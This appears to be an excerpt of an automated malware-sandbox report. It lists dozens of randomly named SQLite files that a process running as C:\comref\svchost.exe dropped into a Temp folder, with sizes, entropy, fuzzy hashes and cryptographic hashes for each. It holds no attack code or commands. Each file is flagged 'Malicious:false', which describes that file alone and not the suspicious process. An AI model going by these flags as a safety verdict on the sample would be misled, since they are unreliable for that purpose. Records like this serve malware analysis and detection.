                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\0wYveN1X6s

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\11bRkczOOL

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\19tL47ANQA

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\1CVvbWQ0xh

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\1Ljt1Wk9pz

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\1UFfVf7MIh

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\1WY2jjUdl1

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\1ZB8Crq4ty

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\1ZmCKirvTf

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\1y4JQx39Pf

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\2SkQeTYdVu

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\2ZaLHKQpQr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\2fdP8m5g0k

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\2sZJQOa33l

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\3Nt7x8QLhs

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\3aEqNL4fh0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\3cbGdrDQ3m

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\3nFuWirEws

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\3tVyKq5YYs

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\42rX38kEjW

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\4711XsDufK

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\47wMyB13eb

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\4dUVeh7bVH

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\4doU9r80ih

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
